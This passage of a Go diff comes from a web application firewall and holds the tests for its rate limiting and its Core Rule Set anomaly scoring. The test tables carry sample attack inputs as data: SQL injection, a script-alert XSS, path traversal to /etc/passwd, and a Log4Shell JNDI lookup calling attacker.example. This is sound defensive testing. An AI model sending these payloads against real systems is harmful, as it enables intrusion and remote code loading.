||||
}, requestlog.FormatTime(start.Add(time.Hour)))
|
||||
alert.Detail["mode"] = observe
|
||||
wantAlerts(t, queue, alert)
|
||||
}
|
||||
|
||||
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "1",
|
||||
bytesLimitPerMinute: "150",
|
||||
})
|
||||
|
||||
s.upload()
|
||||
|
||||
// The second request breaks the rate limit, which in enforce mode would
|
||||
// refuse it before the app sent anything, so its 100 bytes are not
|
||||
// counted, and the byte limit is not broken. Its line gives the bytes
|
||||
// counted before it.
|
||||
line := s.upload()
|
||||
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
|
||||
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
|
||||
line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
|
||||
}
|
||||
}
|
||||
|
||||
// uploadHeader and uploadBody are the header and the body of a request
|
||||
// with a body of bodyBytes.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot call strings.Repeat
|
||||
var (
|
||||
uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes)
|
||||
uploadBody = strings.Repeat("u", bodyBytes)
|
||||
)
|
||||
|
||||
// readAndAnswer is the app of these tests: it reads each request's whole
|
||||
// body and answers with answerBytes bytes.
|
||||
func readAndAnswer(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
|
||||
}
|
||||
|
||||
// breakOff is an app that announces an answer of twice answerBytes, and
|
||||
// breaks off after answerBytes.
|
||||
func breakOff(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes))
|
||||
_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
|
||||
}
|
||||
|
||||
// answerAfterUpgrade is an app that switches protocols, as for a
|
||||
// WebSocket, and then answers each line it receives with a line of
|
||||
// answerBytes.
|
||||
func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
|
||||
conn, buffered, err := http.NewResponseController(w).Hijack()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
|
||||
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
|
||||
_ = buffered.Flush()
|
||||
|
||||
for {
|
||||
_, err := buffered.ReadString('\n')
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
|
||||
_ = buffered.Flush()
|
||||
}
|
||||
}
|
||||
|
||||
// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
|
||||
// line of bodyBytes on it, reads the answer, and closes it. It checks the
|
||||
// answer, and the log line as request does, and returns the log line.
|
||||
func (s *sender) webSocket() logLine {
|
||||
s.t.Helper()
|
||||
|
||||
conn, reader := s.openWebSocket()
|
||||
send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n")
|
||||
|
||||
got, err := reader.ReadString('\n')
|
||||
if err != nil || len(got) != answerBytes {
|
||||
s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes)
|
||||
}
|
||||
|
||||
return s.closeWebSocket(conn)
|
||||
}
|
||||
|
||||
// openWebSocket sends a request from client to switch protocols, as for a
|
||||
// WebSocket, and checks that the app switches. It returns the connection,
|
||||
// on which reading fails once waitLimit has passed, and a reader of what
|
||||
// the app sends on it.
|
||||
func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
|
||||
s.t.Helper()
|
||||
|
||||
conn := dial(s.t, s.addr)
|
||||
send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
|
||||
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
|
||||
|
||||
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
|
||||
if err != nil {
|
||||
s.t.Fatalf("set read deadline: %v", err)
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
res, err := http.ReadResponse(reader, nil)
|
||||
if err != nil {
|
||||
s.t.Fatalf("read the answer to the upgrade: %v", err)
|
||||
}
|
||||
|
||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != http.StatusSwitchingProtocols {
|
||||
s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
|
||||
}
|
||||
|
||||
return conn, reader
|
||||
}
|
||||
|
||||
// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its
|
||||
// log line as request does, and returns it.
|
||||
func (s *sender) closeWebSocket(conn net.Conn) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
_ = conn.Close()
|
||||
|
||||
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
||||
s.sent++
|
||||
wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
|
||||
|
||||
return line
|
||||
}
|
||||
|
||||
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
|
||||
// test that looks at neither the server nor the alerts.
|
||||
func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
|
||||
t.Helper()
|
||||
|
||||
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
|
||||
|
||||
return s, clk
|
||||
}
|
||||
|
||||
// download sends a GET request for / from client, and checks that the
|
||||
// app's answer is passed on, as request does. It returns the log line and
|
||||
// the answer.
|
||||
func (s *sender) download() (logLine, answer) {
|
||||
s.t.Helper()
|
||||
|
||||
return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
|
||||
requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// upload is download for a POST request with a body of bodyBytes, and
|
||||
// returns the log line.
|
||||
func (s *sender) upload() logLine {
|
||||
s.t.Helper()
|
||||
|
||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader,
|
||||
uploadBody, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
return line
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"slices"
|
||||
)
|
||||
|
||||
// peerAddress is the address of the request's TCP peer.
|
||||
func peerAddress(r *http.Request) netip.Addr {
|
||||
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
|
||||
if err != nil {
|
||||
return netip.Addr{}
|
||||
}
|
||||
|
||||
return addrPort.Addr().Unmap()
|
||||
}
|
||||
|
||||
// requestIDHeader carries the request's id, from rproxy.
|
||||
const requestIDHeader = "X-Request-ID"
|
||||
|
||||
// requestID is the request's id: the one a question gives, or for any other
|
||||
// request a new random one.
|
||||
func requestID(r *http.Request, isQuestion bool) string {
|
||||
if isQuestion {
|
||||
return r.Header.Get(requestIDHeader)
|
||||
}
|
||||
|
||||
return rand.Text()
|
||||
}
|
||||
|
||||
// scheme is how the visitor reached rproxy, or the trusted proxy in front of
|
||||
// it, as a question says in X-Forwarded-Proto, or otherwise http.
|
||||
func scheme(r *http.Request, isQuestion bool) string {
|
||||
proto := r.Header.Get("X-Forwarded-Proto")
|
||||
if !isQuestion || proto == "" {
|
||||
return "http"
|
||||
}
|
||||
|
||||
return proto
|
||||
}
|
||||
|
||||
// clientGroup is the client a request is counted toward: its IPv4
|
||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
||||
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
||||
addr = addr.Unmap()
|
||||
if addr.Is6() {
|
||||
return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
|
||||
}
|
||||
|
||||
return netip.PrefixFrom(addr, addr.BitLen())
|
||||
}
|
||||
|
||||
// isInside reports whether addr is in one of the netblocks.
|
||||
func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
|
||||
return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
|
||||
return netblock.Contains(addr)
|
||||
})
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// coreRuleSet inspects the request with the Core Rule Set, unless
|
||||
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
|
||||
// pathExempt decides, and notes the rules it matched and its score in the
|
||||
// log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
|
||||
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
|
||||
// which is an offence its client's history counts. Its figures are the score
|
||||
// and the threshold.
|
||||
type coreRuleSet struct{}
|
||||
|
||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||
|
||||
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
|
||||
return nil
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
|
||||
// A question's body has been read into memory, so that reading it here
|
||||
// cannot fail.
|
||||
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
|
||||
rq.requestBytes = int64(len(read))
|
||||
|
||||
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
|
||||
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
|
||||
rq.line.CoreRuleSetScore = &result.Score
|
||||
|
||||
for _, id := range result.RuleIDs {
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
|
||||
}
|
||||
|
||||
threshold := cfg.WAFAnomalyThreshold
|
||||
if threshold == 0 || result.Score < threshold {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
rq.alertCoreRuleSetMatch(result)
|
||||
|
||||
if cfg.WAFMode == config.WAFModeDetect {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.blockedByCoreRuleSet = true
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionBlockedByCoreRuleSet,
|
||||
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
|
||||
}
|
||||
}
|
||||
|
||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
|
||||
// detail gives the rule ids, the score, the method and the path with the
|
||||
// query, and, for a request that is not refused for it, the mode: detect,
|
||||
// or observe in observe mode.
|
||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
detail := map[string]any{
|
||||
"rule_ids": result.RuleIDs,
|
||||
"score": result.Score,
|
||||
"method": rq.in.Method,
|
||||
"path": rq.in.URL.RequestURI(),
|
||||
}
|
||||
|
||||
switch {
|
||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
||||
detail["mode"] = config.WAFModeDetect
|
||||
case rq.h.config.Observe:
|
||||
detail["mode"] = "observe"
|
||||
}
|
||||
|
||||
rq.h.alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventCoreRuleSetMatch,
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
Netblock: rq.h.clientGroup(rq.client),
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -1,534 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
||||
// its two modes that inspect requests.
|
||||
const (
|
||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||
block = "block"
|
||||
detect = "detect"
|
||||
)
|
||||
|
||||
// formData is the type of a form's body.
|
||||
const formData = "application/x-www-form-urlencoded"
|
||||
|
||||
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||
// setting.
|
||||
const (
|
||||
sizeLimit = 1 << 10
|
||||
sizeLimitSetting = "1K"
|
||||
)
|
||||
|
||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||
// SWW_WAF_ANOMALY_THRESHOLD.
|
||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||
|
||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
|
||||
// score, that it has none of the three: the Core Rule Set did not inspect the
|
||||
// request.
|
||||
func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
||||
t.Helper()
|
||||
|
||||
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
|
||||
t.Errorf("log line has core_rule_set_rule_ids %v, want %v",
|
||||
line.CoreRuleSetRuleIDs, ruleIDs)
|
||||
}
|
||||
|
||||
switch {
|
||||
case score == nil &&
|
||||
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
|
||||
t.Errorf("log line has core_rule_set_score %v and "+
|
||||
"duration_core_rule_set_ms %v, want neither",
|
||||
line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
|
||||
case score != nil &&
|
||||
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
|
||||
t.Errorf("log line has core_rule_set_score %v, want %d",
|
||||
line.fields["core_rule_set_score"], *score)
|
||||
case score != nil && line.DurationCoreRuleSetMS == nil:
|
||||
t.Error("log line has no duration_core_rule_set_ms")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
mode string
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{block, block, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet},
|
||||
{detect, detect, http.StatusOK, requestlog.ActionForward},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
||||
|
||||
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
|
||||
"exploitsignature")
|
||||
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
wafMode: detect, tagDeny: "exploitsignature",
|
||||
})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range []struct {
|
||||
name, path, header string
|
||||
ruleIDs []int
|
||||
score int
|
||||
}{
|
||||
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
|
||||
{
|
||||
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
|
||||
[]int{941100, 941110, 941160, 941390}, 20,
|
||||
},
|
||||
{
|
||||
"path traversal in the path", "/files/../../etc/passwd", "",
|
||||
[]int{930100, 930110}, 10,
|
||||
},
|
||||
{
|
||||
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
|
||||
[]int{944150}, 5,
|
||||
},
|
||||
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
|
||||
{
|
||||
// Coraza keeps the first 1000 query parameters.
|
||||
"SQL injection after 1000 query parameters",
|
||||
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
|
||||
[]int{900300}, 5,
|
||||
},
|
||||
} {
|
||||
t.Run(attack.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
mode, action string
|
||||
status int
|
||||
}{
|
||||
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
|
||||
{detect, requestlog.ActionForward, http.StatusOK},
|
||||
} {
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
||||
|
||||
line := s.requestWithHeader(client, attack.path, attack.header,
|
||||
tc.status, tc.action)
|
||||
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
wantHeuristic(t, line, "core_rule_set", `{"score": 5, "threshold": 5}`)
|
||||
}
|
||||
|
||||
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
}
|
||||
|
||||
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
wafMode: block,
|
||||
wafExemptPaths: "/api/",
|
||||
allowNets: allowed,
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
|
||||
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
||||
// exempts, are not inspected.
|
||||
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
||||
requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
|
||||
// The prefix is matched as rate limit exempt paths are: a path that
|
||||
// goes up and out of it is inspected.
|
||||
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
|
||||
|
||||
// A request a rule file refuses is not inspected.
|
||||
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
|
||||
// With SWW_WAF_MODE off, no request is.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
}
|
||||
|
||||
func TestAnomalyThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A score under the threshold, or with the threshold off, is logged,
|
||||
// and refuses nothing.
|
||||
for _, threshold := range []string{"6", off} {
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
wafMode: block, wafAnomalyThreshold: threshold,
|
||||
})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(5), 942100)
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
wafMode: block, wafAnomalyThreshold: "5",
|
||||
})
|
||||
s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
}
|
||||
|
||||
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, request := range []struct {
|
||||
name, method, path, header string
|
||||
// ruleIDs are the rules that match the request with none
|
||||
// switched off.
|
||||
ruleIDs []int
|
||||
}{
|
||||
{
|
||||
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
|
||||
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
|
||||
[]int{920420, 930130},
|
||||
},
|
||||
{
|
||||
"package upload without a type", http.MethodPut,
|
||||
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
|
||||
[]int{920340},
|
||||
},
|
||||
{
|
||||
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
|
||||
[]int{920440},
|
||||
},
|
||||
{
|
||||
"an editor's settings", http.MethodGet,
|
||||
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
|
||||
},
|
||||
} {
|
||||
t.Run(request.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
body := ""
|
||||
if request.method != http.MethodGet {
|
||||
body = "push"
|
||||
}
|
||||
|
||||
// By default, the rules are switched off.
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
line, _ := s.requestWithBody(request.method, client, request.path,
|
||||
request.header, body, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
|
||||
// A list given replaces the default.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
wafMode: block, wafDisabledRules: "942100",
|
||||
})
|
||||
score := 5 * len(request.ruleIDs)
|
||||
line, _ = s.requestWithBody(request.method, client, request.path,
|
||||
request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
|
||||
|
||||
// And switches off the rules it lists.
|
||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const body = "id=1'%20OR%20'1'='1"
|
||||
|
||||
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
||||
strconv.Itoa(len(body))
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||
wantCoreRuleSet(t, line, new(5), 942100)
|
||||
}
|
||||
|
||||
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The app answers with the body it was sent, once it has the whole of
|
||||
// it: Go's server reads no more of a body once the answer has begun.
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_, _ = w.Write(body)
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
||||
|
||||
for i, tc := range []struct {
|
||||
name, contentType, body string
|
||||
// announced sends the body's length in Content-Length; otherwise
|
||||
// the body is sent in chunks with no length given.
|
||||
announced bool
|
||||
}{
|
||||
{"form data within the limit", formData, "a=b", true},
|
||||
{"form data longer than the limit", formData, longer, true},
|
||||
{"form data longer than the limit, not announced", formData, longer, false},
|
||||
{
|
||||
"JSON larger than the limit", "application/json",
|
||||
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
|
||||
},
|
||||
{
|
||||
"a binary body", "application/octet-stream",
|
||||
strings.Repeat("\x00\xff", sizeLimit), true,
|
||||
},
|
||||
} {
|
||||
// A reader whose length the client cannot tell is sent in chunks.
|
||||
var body io.Reader = strings.NewReader(tc.body)
|
||||
if !tc.announced {
|
||||
body = io.MultiReader(body)
|
||||
}
|
||||
|
||||
req := newRequest(t, http.MethodPost, addr, "/", body)
|
||||
req.Header.Set("Content-Type", tc.contentType)
|
||||
|
||||
got := do(t, req)
|
||||
if got.status != http.StatusOK || string(got.body) != tc.body {
|
||||
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
||||
tc.name, len(got.body), got.status, len(tc.body))
|
||||
}
|
||||
|
||||
line := out.endedLines(t, i+1)[i]
|
||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
if line.RequestBytes != int64(len(tc.body)) {
|
||||
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
|
||||
line.RequestBytes, len(tc.body))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResponsesAreNotInspected(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A raw shell script, and an SQL error, which the Core Rule Set's rules
|
||||
// for responses take for a leak.
|
||||
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
|
||||
"You have an error in your SQL syntax; check the manual that " +
|
||||
"corresponds to your MySQL server version\n"
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte(page))
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
||||
|
||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
||||
if got.status != http.StatusOK || string(got.body) != page {
|
||||
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
||||
}
|
||||
|
||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 2 {
|
||||
s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
}
|
||||
|
||||
// The third refusal in a minute breaks the error burst, and bans the
|
||||
// client.
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
|
||||
line.LimitHit, line.Offence)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
want := ratelimit.Offences{Limit: 1, BlockedByCoreRuleSet: 3}
|
||||
if offences := historyOf(t, server, client).Offences; offences != want {
|
||||
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
||||
}
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics,
|
||||
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
||||
wantMetric(t, metrics,
|
||||
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
|
||||
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
|
||||
`instance="app",status_class="4xx"}`, 3)
|
||||
}
|
||||
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
